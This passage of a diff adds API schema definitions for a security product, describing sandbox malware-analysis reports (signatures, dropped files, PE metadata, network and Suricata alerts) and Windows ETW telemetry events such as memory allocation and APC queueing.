+      dse_old_value:
+        title: Dse old value
+        type: integer
+      dse_old_value_str:
+        minLength: 1
+        title: Dse old value str
+        type: string
+      dse_variable_type_str:
+        minLength: 1
+        title: Dse variable type str
+        type: string
+      eventtime_datetime:
+        format: date-time
+        title: Eventtime datetime
+        type: string
+      is_restored:
+        title: Is restored
+        type: boolean
+    required:
+      - driver_blocked
+      - dse_new_value
+      - dse_new_value_str
+      - dse_old_value
+      - dse_old_value_str
+      - dse_variable_type_str
+      - eventtime_datetime
+      - is_restored
+    type: object
+  DumpProcess:
+    properties:
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+    required:
+      - process_unique_id
+    type: object
+  DuplicateRuleset:
+    properties:
+      description:
+        title: Description
+        type: string
+      name:
+        maxLength: 128
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  DynamicAnalysis:
+    properties:
+      behavior:
+        $ref: '#/definitions/DynamicAnalysisBehavior'
+      debug:
+        $ref: '#/definitions/DynamicAnalysisDebug'
+      dropped:
+        items:
+          $ref: '#/definitions/DynamicAnalysisFile'
+        type: array
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      info:
+        $ref: '#/definitions/DynamicAnalysisInfo'
+      malscore:
+        title: Malscore
+        type: number
+      malstatus:
+        minLength: 1
+        title: Malstatus
+        type: string
+      network:
+        $ref: '#/definitions/DynamicAnalysisNetwork'
+      signatures:
+        items:
+          $ref: '#/definitions/DynamicAnalysisSignaturesItem'
+        type: array
+      statistics:
+        $ref: '#/definitions/DynamicAnalysisStatistics'
+      suricata:
+        $ref: '#/definitions/DynamicAnalysisSuricata'
+      target:
+        $ref: '#/definitions/DynamicAnalysisTarget'
+      ttps:
+        items:
+          $ref: '#/definitions/DynamicAnalysisTtpsItem'
+        type: array
+    required:
+      - behavior
+      - debug
+      - dropped
+      - id
+      - info
+      - malscore
+      - malstatus
+      - network
+      - signatures
+      - statistics
+      - suricata
+      - target
+      - ttps
+    type: object
+  DynamicAnalysisBehavior:
+    properties:
+      enhanced:
+        items:
+          $ref: '#/definitions/DynamicAnalysisBehaviorEnhancedItem'
+        type: array
+      processes:
+        items:
+          $ref: '#/definitions/DynamicAnalysisBehaviorProcessesItem'
+        type: array
+      processtree:
+        items:
+          $ref: '#/definitions/DynamicAnalysisBehaviorProcesstreeItem'
+        type: array
+      summary:
+        $ref: '#/definitions/DynamicAnalysisBehaviorSummary'
+    required:
+      - enhanced
+      - processes
+      - processtree
+      - summary
+    type: object
+  DynamicAnalysisBehaviorEnhancedData:
+    properties:
+      file:
+        minLength: 1
+        title: File
+        type: string
+    required:
+      - file
+    type: object
+  DynamicAnalysisBehaviorEnhancedItem:
+    properties:
+      data:
+        $ref: '#/definitions/DynamicAnalysisBehaviorEnhancedData'
+      eid:
+        title: Eid
+        type: integer
+      event:
+        minLength: 1
+        title: Event
+        type: string
+      object:
+        minLength: 1
+        title: Object
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - data
+      - eid
+      - event
+      - object
+      - timestamp
+    type: object
+  DynamicAnalysisBehaviorProcessesCallsArgumentsItem:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - name
+      - value
+    type: object
+  DynamicAnalysisBehaviorProcessesCallsItem:
+    properties:
+      api:
+        minLength: 1
+        title: Api
+        type: string
+      arguments:
+        items:
+          $ref: '#/definitions/DynamicAnalysisBehaviorProcessesCallsArgumentsItem'
+        type: array
+      caller:
+        minLength: 1
+        title: Caller
+        type: string
+      category:
+        minLength: 1
+        title: Category
+        type: string
+      id:
+        title: Id
+        type: integer
+      parentcaller:
+        minLength: 1
+        title: Parentcaller
+        type: string
+      pretty_return:
+        minLength: 1
+        title: Pretty return
+        type: string
+      repeated:
+        title: Repeated
+        type: integer
+      status:
+        title: Status
+        type: boolean
+      thread_id:
+        minLength: 1
+        title: Thread id
+        type: string
+      timestamp:
+        minLength: 1
+        title: Timestamp
+        type: string
+    required:
+      - api
+      - arguments
+      - caller
+      - category
+      - id
+      - parentcaller
+      - pretty_return
+      - repeated
+      - status
+      - thread_id
+      - timestamp
+    type: object
+  DynamicAnalysisBehaviorProcessesEnviron:
+    properties:
+      CommandLine:
+        minLength: 1
+        title: Commandline
+        type: string
+      ComputerName:
+        minLength: 1
+        title: Computername
+        type: string
+      MachineGUID:
+        minLength: 1
+        title: Machineguid
+        type: string
+      ProductName:
+        minLength: 1
+        title: Productname
+        type: string
+      RegisteredOrganization:
+        minLength: 1
+        title: Registeredorganization
+        type: string
+      RegisteredOwner:
+        minLength: 1
+        title: Registeredowner
+        type: string
+      SystemVolumeGUID:
+        minLength: 1
+        title: Systemvolumeguid
+        type: string
+      SystemVolumeSerialNumber:
+        minLength: 1
+        title: Systemvolumeserialnumber
+        type: string
+      TempPath:
+        minLength: 1
+        title: Temppath
+        type: string
+      UserName:
+        minLength: 1
+        title: Username
+        type: string
+      WindowsPath:
+        minLength: 1
+        title: Windowspath
+        type: string
+    required:
+      - CommandLine
+      - ComputerName
+      - MachineGUID
+      - ProductName
+      - RegisteredOrganization
+      - RegisteredOwner
+      - SystemVolumeGUID
+      - SystemVolumeSerialNumber
+      - TempPath
+      - UserName
+      - WindowsPath
+    type: object
+  DynamicAnalysisBehaviorProcessesItem:
+    properties:
+      calls:
+        items:
+          $ref: '#/definitions/DynamicAnalysisBehaviorProcessesCallsItem'
+        type: array
+      environ:
+        $ref: '#/definitions/DynamicAnalysisBehaviorProcessesEnviron'
+      first_seen:
+        format: date-time
+        title: First seen
+        type: string
+      module_path:
+        minLength: 1
+        title: Module path
+        type: string
+      parent_id:
+        title: Parent id
+        type: integer
+      process_id:
+        title: Process id
+        type: integer
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      threads:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - calls
+      - environ
+      - first_seen
+      - module_path
+      - parent_id
+      - process_id
+      - process_name
+      - threads
+    type: object
+  DynamicAnalysisBehaviorProcesstreeEnviron:
+    properties:
+      CommandLine:
+        minLength: 1
+        title: Commandline
+        type: string
+      ComputerName:
+        minLength: 1
+        title: Computername
+        type: string
+      MachineGUID:
+        minLength: 1
+        title: Machineguid
+        type: string
+      ProductName:
+        minLength: 1
+        title: Productname
+        type: string
+      RegisteredOrganization:
+        minLength: 1
+        title: Registeredorganization
+        type: string
+      RegisteredOwner:
+        minLength: 1
+        title: Registeredowner
+        type: string
+      SystemVolumeGUID:
+        minLength: 1
+        title: Systemvolumeguid
+        type: string
+      SystemVolumeSerialNumber:
+        minLength: 1
+        title: Systemvolumeserialnumber
+        type: string
+      TempPath:
+        minLength: 1
+        title: Temppath
+        type: string
+      UserName:
+        minLength: 1
+        title: Username
+        type: string
+      WindowsPath:
+        minLength: 1
+        title: Windowspath
+        type: string
+    required:
+      - CommandLine
+      - ComputerName
+      - MachineGUID
+      - ProductName
+      - RegisteredOrganization
+      - RegisteredOwner
+      - SystemVolumeGUID
+      - SystemVolumeSerialNumber
+      - TempPath
+      - UserName
+      - WindowsPath
+    type: object
+  DynamicAnalysisBehaviorProcesstreeItem:
+    properties:
+      environ:
+        $ref: '#/definitions/DynamicAnalysisBehaviorProcesstreeEnviron'
+      module_path:
+        minLength: 1
+        title: Module path
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      parent_id:
+        title: Parent id
+        type: integer
+      pid:
+        title: Pid
+        type: integer
+      threads:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - environ
+      - module_path
+      - name
+      - parent_id
+      - pid
+      - threads
+    type: object
+  DynamicAnalysisBehaviorSummary:
+    properties:
+      delete_files:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      files:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      keys:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      mutexes:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      read_keys:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - delete_files
+      - files
+      - keys
+      - mutexes
+      - read_keys
+    type: object
+  DynamicAnalysisDebug:
+    properties:
+      log:
+        minLength: 1
+        title: Log
+        type: string
+    required:
+      - log
+    type: object
+  DynamicAnalysisFile:
+    properties:
+      cape_type:
+        minLength: 1
+        title: Cape type
+        type: string
+      cape_type_code:
+        title: Cape type code
+        type: integer
+      crc32:
+        minLength: 1
+        title: Crc32
+        type: string
+      guest_paths:
+        minLength: 1
+        title: Guest paths
+        type: string
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      pe:
+        $ref: '#/definitions/DynamicAnalysisFilePe'
+      pid:
+        minLength: 1
+        title: Pid
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      sha3_384:
+        minLength: 1
+        title: Sha3 384
+        type: string
+      sha512:
+        minLength: 1
+        title: Sha512
+        type: string
+      size:
+        title: Size
+        type: integer
+      ssdeep:
+        minLength: 1
+        title: Ssdeep
+        type: string
+      strings:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      tlsh:
+        minLength: 1
+        title: Tlsh
+        type: string
+      trid:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - cape_type
+      - cape_type_code
+      - crc32
+      - guest_paths
+      - md5
+      - name
+      - path
+      - pe
+      - pid
+      - sha1
+      - sha256
+      - sha3_384
+      - sha512
+      - size
+      - ssdeep
+      - strings
+      - tlsh
+      - trid
+      - type
+    type: object
+  DynamicAnalysisFilePe:
+    properties:
+      actual_checksum:
+        minLength: 1
+        title: Actual checksum
+        type: string
+      dirents:
+        items:
+          $ref: '#/definitions/DynamicAnalysisFilePeDirentsItem'
+        type: array
+      entrypoint:
+        minLength: 1
+        title: Entrypoint
+        type: string
+      ep_bytes:
+        minLength: 1
+        title: Ep bytes
+        type: string
+      exported_dll_name:
+        minLength: 1
+        title: Exported dll name
+        type: string
+      exports:
+        items:
+          $ref: '#/definitions/DynamicAnalysisPeExportsItem'
+        type: array
+      guest_signers:
+        $ref: '#/definitions/DynamicAnalysisPeGuestSigners'
+      icon:
+        minLength: 1
+        title: Icon
+        type: string
+      icon_dhash:
+        minLength: 1
+        title: Icon dhash
+        type: string
+      icon_fuzzy:
+        minLength: 1
+        title: Icon fuzzy
+        type: string
+      icon_hash:
+        minLength: 1
+        title: Icon hash
+        type: string
+      imagebase:
+        minLength: 1
+        title: Imagebase
+        type: string
+      imphash:
+        minLength: 1
+        title: Imphash
+        type: string
+      imported_dll_count:
+        title: Imported dll count
+        type: integer
+      imports:
+        $ref: '#/definitions/DynamicAnalysisFilePeImports'
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+      overlay:
+        $ref: '#/definitions/DynamicAnalysisFilePeOverlay'
+      reported_checksum:
+        minLength: 1
+        title: Reported checksum
+        type: string
+      resources:
+        items:
+          $ref: '#/definitions/DynamicAnalysisFilePeResourcesItem'
+        type: array
+      sections:
+        items:
+          $ref: '#/definitions/DynamicAnalysisFilePeSectionsItem'
+        type: array
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      versioninfo:
+        items:
+          $ref: '#/definitions/DynamicAnalysisFilePeVersioninfoItem'
+        type: array
+    required:
+      - actual_checksum
+      - dirents
+      - entrypoint
+      - ep_bytes
+      - exported_dll_name
+      - exports
+      - guest_signers
+      - icon
+      - icon_dhash
+      - icon_fuzzy
+      - icon_hash
+      - imagebase
+      - imphash
+      - imported_dll_count
+      - imports
+      - osversion
+      - overlay
+      - reported_checksum
+      - resources
+      - sections
+      - timestamp
+      - versioninfo
+    type: object
+  DynamicAnalysisFilePeDirentsItem:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      size:
+        minLength: 1
+        title: Size
+        type: string
+      virtual_address:
+        minLength: 1
+        title: Virtual address
+        type: string
+    required:
+      - name
+      - size
+      - virtual_address
+    type: object
+  DynamicAnalysisFilePeImports:
+    properties:
+      ADVAPI32:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+      COMCTL32:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+      GDI32:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+      KERNEL32:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+      SHELL32:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+      USER32:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+      VERSION:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+      ole32:
+        $ref: '#/definitions/DynamicAnalysisFilePeImportsDllImports'
+    required:
+      - ADVAPI32
+      - COMCTL32
+      - GDI32
+      - KERNEL32
+      - SHELL32
+      - USER32
+      - VERSION
+      - ole32
+    type: object
+  DynamicAnalysisFilePeImportsAddressName:
+    properties:
+      address:
+        minLength: 1
+        title: Address
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - address
+      - name
+    type: object
+  DynamicAnalysisFilePeImportsDllImports:
+    properties:
+      dll:
+        minLength: 1
+        title: Dll
+        type: string
+      imports:
+        items:
+          $ref: '#/definitions/DynamicAnalysisFilePeImportsAddressName'
+        type: array
+    required:
+      - dll
+      - imports
+    type: object
+  DynamicAnalysisFilePeOverlay:
+    properties:
+      offset:
+        minLength: 1
+        title: Offset
+        type: string
+      size:
+        minLength: 1
+        title: Size
+        type: string
+    required:
+      - offset
+      - size
+    type: object
+  DynamicAnalysisFilePeResourcesItem:
+    properties:
+      entropy:
+        minLength: 1
+        title: Entropy
+        type: string
+      language:
+        minLength: 1
+        title: Language
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      offset:
+        minLength: 1
+        title: Offset
+        type: string
+      size:
+        minLength: 1
+        title: Size
+        type: string
+      sublanguage:
+        minLength: 1
+        title: Sublanguage
+        type: string
+    required:
+      - entropy
+      - language
+      - name
+      - offset
+      - size
+      - sublanguage
+    type: object
+  DynamicAnalysisFilePeSectionsItem:
+    properties:
+      characteristics:
+        minLength: 1
+        title: Characteristics
+        type: string
+      characteristics_raw:
+        minLength: 1
+        title: Characteristics raw
+        type: string
+      entropy:
+        minLength: 1
+        title: Entropy
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      raw_address:
+        minLength: 1
+        title: Raw address
+        type: string
+      size_of_data:
+        minLength: 1
+        title: Size of data
+        type: string
+      virtual_address:
+        minLength: 1
+        title: Virtual address
+        type: string
+      virtual_size:
+        minLength: 1
+        title: Virtual size
+        type: string
+    required:
+      - characteristics
+      - characteristics_raw
+      - entropy
+      - name
+      - raw_address
+      - size_of_data
+      - virtual_address
+      - virtual_size
+    type: object
+  DynamicAnalysisFilePeVersioninfoItem:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - name
+      - value
+    type: object
+  DynamicAnalysisInfo:
+    properties:
+      category:
+        minLength: 1
+        title: Category
+        type: string
+      custom:
+        minLength: 1
+        title: Custom
+        type: string
+      duration:
+        title: Duration
+        type: integer
+      ended:
+        format: date-time
+        title: Ended
+        type: string
+      id:
+        title: Id
+        type: integer
+      machine:
+        $ref: '#/definitions/DynamicAnalysisInfoMachine'
+      options:
+        $ref: '#/definitions/DynamicAnalysisInfoOptions'
+      package:
+        minLength: 1
+        title: Package
+        type: string
+      route:
+        minLength: 1
+        title: Route
+        type: string
+      started:
+        format: date-time
+        title: Started
+        type: string
+      timeout:
+        title: Timeout
+        type: boolean
+      user_id:
+        title: User id
+        type: integer
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - category
+      - custom
+      - duration
+      - ended
+      - id
+      - machine
+      - options
+      - package
+      - route
+      - started
+      - timeout
+      - user_id
+      - version
+    type: object
+  DynamicAnalysisInfoMachine:
+    properties:
+      id:
+        title: Id
+        type: integer
+      label:
+        minLength: 1
+        title: Label
+        type: string
+      manager:
+        minLength: 1
+        title: Manager
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      platform:
+        minLength: 1
+        title: Platform
+        type: string
+      shutdown_on:
+        format: date-time
+        title: Shutdown on
+        type: string
+      started_on:
+        format: date-time
+        title: Started on
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - id
+      - label
+      - manager
+      - name
+      - platform
+      - shutdown_on
+      - started_on
+      - status
+    type: object
+  DynamicAnalysisInfoOptions:
+    properties:
+      import_reconstruction:
+        minLength: 1
+        title: Import reconstruction
+        type: string
+      procmemdump:
+        minLength: 1
+        title: Procmemdump
+        type: string
+      unpacker:
+        minLength: 1
+        title: Unpacker
+        type: string
+    required:
+      - import_reconstruction
+      - procmemdump
+      - unpacker
+    type: object
+  DynamicAnalysisNetwork:
+    properties:
+      pcap_sha256:
+        minLength: 1
+        title: Pcap sha256
+        type: string
+      tcp:
+        items:
+          $ref: '#/definitions/DynamicAnalysisNetworkTcpItem'
+        type: array
+      udp:
+        items:
+          $ref: '#/definitions/DynamicAnalysisNetworkUdpItem'
+        type: array
+    required:
+      - pcap_sha256
+      - tcp
+      - udp
+    type: object
+  DynamicAnalysisNetworkTcpItem:
+    properties:
+      dport:
+        title: Dport
+        type: integer
+      dst:
+        minLength: 1
+        title: Dst
+        type: string
+      offset:
+        title: Offset
+        type: integer
+      sport:
+        title: Sport
+        type: integer
+      src:
+        minLength: 1
+        title: Src
+        type: string
+      time:
+        title: Time
+        type: number
+    required:
+      - dport
+      - dst
+      - offset
+      - sport
+      - src
+      - time
+    type: object
+  DynamicAnalysisNetworkUdpItem:
+    properties:
+      dport:
+        title: Dport
+        type: integer
+      dst:
+        minLength: 1
+        title: Dst
+        type: string
+      offset:
+        title: Offset
+        type: integer
+      sport:
+        title: Sport
+        type: integer
+      src:
+        minLength: 1
+        title: Src
+        type: string
+      time:
+        title: Time
+        type: number
+    required:
+      - dport
+      - dst
+      - offset
+      - sport
+      - src
+      - time
+    type: object
+  DynamicAnalysisPeExportsItem:
+    properties:
+      address:
+        minLength: 1
+        title: Address
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      ordinal:
+        title: Ordinal
+        type: integer
+    required:
+      - address
+      - name
+      - ordinal
+    type: object
+  DynamicAnalysisPeGuestSigners:
+    properties:
+      aux_signers:
+        items:
+          $ref: '#/definitions/DynamicAnalysisPeGuestSignersAuxSignersItem'
+        type: array
+      aux_timestamp:
+        minLength: 1
+        title: Aux timestamp
+        type: string
+      aux_valid:
+        title: Aux valid
+        type: boolean
+    required:
+      - aux_signers
+      - aux_timestamp
+      - aux_valid
+    type: object
+  DynamicAnalysisPeGuestSignersAuxSignersItem:
+    properties:
+      expires:
+        format: date-time
+        title: Expires
+        type: string
+      issued_by:
+        minLength: 1
+        title: Issued by
+        type: string
+      issued_to:
+        minLength: 1
+        title: Issued to
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+    required:
+      - expires
+      - issued_by
+      - issued_to
+      - name
+      - sha1
+    type: object
+  DynamicAnalysisSignaturesDataItem:
+    properties:
+      cid:
+        title: Cid
+        type: integer
+      pid:
+        title: Pid
+        type: integer
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - cid
+      - pid
+      - type
+    type: object
+  DynamicAnalysisSignaturesItem:
+    properties:
+      alert:
+        title: Alert
+        type: boolean
+      categories:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      confidence:
+        title: Confidence
+        type: integer
+      data:
+        items:
+          $ref: '#/definitions/DynamicAnalysisSignaturesDataItem'
+        type: array
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      severity:
+        title: Severity
+        type: integer
+      weight:
+        title: Weight
+        type: integer
+    required:
+      - alert
+      - categories
+      - confidence
+      - data
+      - description
+      - name
+      - severity
+      - weight
+    type: object
+  DynamicAnalysisStatistics:
+    properties:
+      processing:
+        items:
+          $ref: '#/definitions/DynamicAnalysisStatisticsItem'
+        type: array
+      reporting:
+        items:
+          $ref: '#/definitions/DynamicAnalysisStatisticsItem'
+        type: array
+      signatures:
+        items:
+          $ref: '#/definitions/DynamicAnalysisStatisticsItem'
+        type: array
+    required:
+      - processing
+      - reporting
+      - signatures
+    type: object
+  DynamicAnalysisStatisticsItem:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      time:
+        title: Time
+        type: number
+    required:
+      - name
+      - time
+    type: object
+  DynamicAnalysisSuricata:
+    properties:
+      alerts:
+        items:
+          $ref: '#/definitions/DynamicAnalysisSuricataAlertsItem'
+        type: array
+      eve_log_full_path:
+        minLength: 1
+        title: Eve log full path
+        type: string
+    required:
+      - alerts
+      - eve_log_full_path
+    type: object
+  DynamicAnalysisSuricataAlertsItem:
+    properties:
+      category:
+        minLength: 1
+        title: Category
+        type: string
+      dstip:
+        minLength: 1
+        title: Dstip
+        type: string
+      dstport:
+        title: Dstport
+        type: integer
+      gid:
+        title: Gid
+        type: integer
+      protocol:
+        minLength: 1
+        title: Protocol
+        type: string
+      rev:
+        title: Rev
+        type: integer
+      severity:
+        title: Severity
+        type: integer
+      sid:
+        title: Sid
+        type: integer
+      signature:
+        minLength: 1
+        title: Signature
+        type: string
+      srcip:
+        minLength: 1
+        title: Srcip
+        type: string
+      srcport:
+        title: Srcport
+        type: integer
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - category
+      - dstip
+      - dstport
+      - gid
+      - protocol
+      - rev
+      - severity
+      - sid
+      - signature
+      - srcip
+      - srcport
+      - timestamp
+    type: object
+  DynamicAnalysisTarget:
+    properties:
+      category:
+        minLength: 1
+        title: Category
+        type: string
+      file:
+        $ref: '#/definitions/DynamicAnalysisFile'
+    required:
+      - category
+      - file
+    type: object
+  DynamicAnalysisTtpsItem:
+    properties:
+      mbcs:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      signature:
+        minLength: 1
+        title: Signature
+        type: string
+      ttps:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - mbcs
+      - signature
+      - ttps
+    type: object
+  ECSBpf:
+    properties:
+      expected_attach_type_id:
+        title: Expected attach type id
+        type: integer
+      expected_attach_type_str:
+        minLength: 1
+        title: Expected attach type str
+        type: string
+      flags_id:
+        title: Flags id
+        type: integer
+      flags_str:
+        minLength: 1
+        title: Flags str
+        type: string
+      hooked_function_name:
+        minLength: 1
+        title: Hooked function name
+        type: string
+      instruction_count:
+        title: Instruction count
+        type: integer
+      memory_dump:
+        minLength: 1
+        title: Memory dump
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      operation:
+        minLength: 1
+        title: Operation
+        type: string
+      type_id:
+        title: Type id
+        type: integer
+      type_str:
+        minLength: 1
+        title: Type str
+        type: string
+    required:
+      - expected_attach_type_id
+      - expected_attach_type_str
+      - flags_id
+      - flags_str
+      - hooked_function_name
+      - instruction_count
+      - memory_dump
+      - name
+      - operation
+      - type_id
+      - type_str
+    type: object
+  ECSContainer:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      namespace:
+        minLength: 1
+        title: Namespace
+        type: string
+    required:
+      - id
+      - name
+      - namespace
+    type: object
+  ECSDestination:
+    properties:
+      process:
+        $ref: '#/definitions/ECSProcess'
+    required:
+      - process
+    type: object
+  ECSEtwTiKeInsertQueueApc:
+    properties:
+      apc_argument_1:
+        title: Apc argument 1
+        type: integer
+      apc_argument_1_function:
+        minLength: 1
+        title: Apc argument 1 function
+        type: string
+      apc_argument_1_module:
+        minLength: 1
+        title: Apc argument 1 module
+        type: string
+      apc_routine:
+        title: Apc routine
+        type: integer
+      apc_routine_function:
+        minLength: 1
+        title: Apc routine function
+        type: string
+      apc_routine_module:
+        minLength: 1
+        title: Apc routine module
+        type: string
+      target_thread_alertable:
+        title: Target thread alertable
+        type: boolean
+    required:
+      - apc_argument_1
+      - apc_argument_1_function
+      - apc_argument_1_module
+      - apc_routine
+      - apc_routine_function
+      - apc_routine_module
+      - target_thread_alertable
+    type: object
+  ECSEtwTiNtAllocateVirtualMemory:
+    properties:
+      allocation_type:
+        title: Allocation type
+        type: integer
+      allocation_type_str:
+        minLength: 1
+        title: Allocation type str
+        type: string
+      base_address:
+        title: Base address
+        type: integer
+      protection_mask:
+        title: Protection mask
+        type: integer
+      protection_mask_str:
+        minLength: 1
+        title: Protection mask str
+        type: string
+      region_size:
+        title: Region size
+        type: integer
+    required:
+      - allocation_type
+      - allocation_type_str
+      - base_address
+      - protection_mask
+      - protection_mask_str
+      - region_size
+    type: object
+  ECSEtwTiNtMapViewOfSection:
+    properties:
+      allocation_type:
+        title: Allocation type
+        type: integer
+      allocation_type_str:
+        minLength: 1
+        title: Allocation type str
+        type: string
+      base_address:
+        title: Base address
+        type: integer
+      protection_mask:
+        title: Protection mask
+        type: integer
+      protection_mask_str:
+        minLength: 1
+        title: Protection mask str
+        type: string
+      view_size:
+        title: View size
+        type: integer
+    required:
+      - allocation_type
+      - allocation_type_str
+      - base_address
+      - protection_mask
+      - protection_mask_str
+      - view_size
+    type: object
+  ECSEtwTiNtProtectVirtualMemory:
+    properties:
+      base_address:
+        title: Base address
+        type: integer
+      base_address_function:
+        minLength: 1
+        title: Base address function
+        type: string
+      base_address_module:
+        minLength: 1
+        title: Base address module
+        type: string
+      previous_protection_mask:
+        title: Previous protection mask
+        type: integer
+      previous_protection_mask_str:
+        minLength: 1
+        title: Previous protection mask str
+        type: string
+      protection_mask:
+        title: Protection mask
+        type: integer
+      protection_mask_str:
+        minLength: 1
+        title: Protection mask str
+        type: string
+      region_size:
+        title: Region size
+        type: integer
+    required:
+      - base_address
+      - base_address_function
+      - base_address_module
+      - previous_protection_mask
+      - previous_protection_mask_str
+      - protection_mask
+      - protection_mask_str
+      - region_size
+    type: object
+  ECSEtwTiNtReadWriteVirtualMemory:
+    properties:
+      base_address:
+        title: Base address
+        type: integer
+      base_address_function:
+        minLength: 1
+        title: Base address function
+        type: string
+      base_address_module:
+        minLength: 1
+        title: Base address module
+        type: string
+      length:
+        title: Length
+        type: integer
+    required:
+      - base_address
+      - base_address_function
+      - base_address_module
+      - length
+    type: object
+  ECSEtwTiNtSetContextThread:
+    properties:
+      context_flags:
+        title: Context flags
+        type: integer
+      context_flags_str:
+        minLength: 1
+        title: Context flags str
+        type: string
+      context_mask:
+        title: Context mask
+        type: integer
+      frame_ptr_address:
+        title: Frame ptr address
+        type: integer
+      frame_ptr_function:
+        minLength: 1
+        title: Frame ptr function
+        type: string
+      frame_ptr_module:
+        minLength: 1
+        title: Frame ptr module
+        type: string
+      instruction_ptr_address:
+        title: Instruction ptr address
+        type: integer
+      instruction_ptr_function:
+        minLength: 1
+        title: Instruction ptr function
+        type: string
+      instruction_ptr_module:
+        minLength: 1
+        title: Instruction ptr module
+        type: string
+      reg0_address:
+        title: Reg0 address
+        type: integer
+      reg0_function:
+        minLength: 1
+        title: Reg0 function
+        type: string
+      reg0_module:
+        minLength: 1
+        title: Reg0 module
+        type: string
+      reg1_address:
+        title: Reg1 address
+        type: integer
+      reg1_function:
+        minLength: 1
+        title: Reg1 function
+        type: string
+      reg1_module:
+        minLength: 1
+        title: Reg1 module
+        type: string
+      reg2_address:
+        title: Reg2 address
+        type: integer
+      reg2_function:
+        minLength: 1
+        title: Reg2 function
+        type: string
+      reg2_module:
+        minLength: 1
+        title: Reg2 module
+        type: string
+      reg3_address:
+        title: Reg3 address
+        type: integer
+      reg4_address:
+        title: Reg4 address
+        type: integer
+      reg5_address:
+        title: Reg5 address
+        type: integer
+      reg6_address:
+        title: Reg6 address
+        type: integer
+      reg6_function:
+        minLength: 1
+        title: Reg6 function
+        type: string
+      reg6_module:
+        minLength: 1
+        title: Reg6 module
+        type: string
+      reg7_address:
+        title: Reg7 address
+        type: integer
+      reg7_function:
+        minLength: 1
+        title: Reg7 function
+        type: string
+      reg7_module:
+        minLength: 1
+        title: Reg7 module
+        type: string
+      stack_ptr_address:
+        title: Stack ptr address
+        type: integer
+      stack_ptr_function:
+        minLength: 1
+        title: Stack ptr function
+        type: string
+      stack_ptr_module:
+        minLength: 1
+        title: Stack ptr module
+        type: string
+    required:
+      - context_flags
+      - context_flags_str
+      - context_mask
+      - frame_ptr_address
+      - frame_ptr_function
+      - frame_ptr_module
+      - instruction_ptr_address
+      - instruction_ptr_function
+      - instruction_ptr_module
+      - reg0_address
+      - reg0_function
+      - reg0_module
+      - reg1_address
+      - reg1_function
+      - reg1_module
+      - reg2_address
+      - reg2_function
+      - reg2_module
+      - reg3_address
+      - reg4_address
+      - reg5_address
+      - reg6_address
+      - reg6_function
+      - reg6_module
+      - reg7_address
+      - reg7_function
+      - reg7_module
+      - stack_ptr_address
+      - stack_ptr_function
+      - stack_ptr_module
+    type: object
+  ECSEvent:
+    properties:
+      category:
+        minLength: 1
+        title: Category
+        type: string
+      created:
+        format: date-time
+        title: Created
+        type: string
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - category
+      - created
+      - kind
+      - type
+    type: object
+  ECSProcess:
+    properties:
+      entity_id:
+        minLength: 1
+        title: Entity id
+        type: string
+      executable:
+        minLength: 1
+        title: Executable
+        type: string
+      pid:
+        title: Pid
+        type: integer
+    required:
+      - entity_id
+      - executable
+      - pid
+    type: object
+  ECSProcessDuplicateHandle:
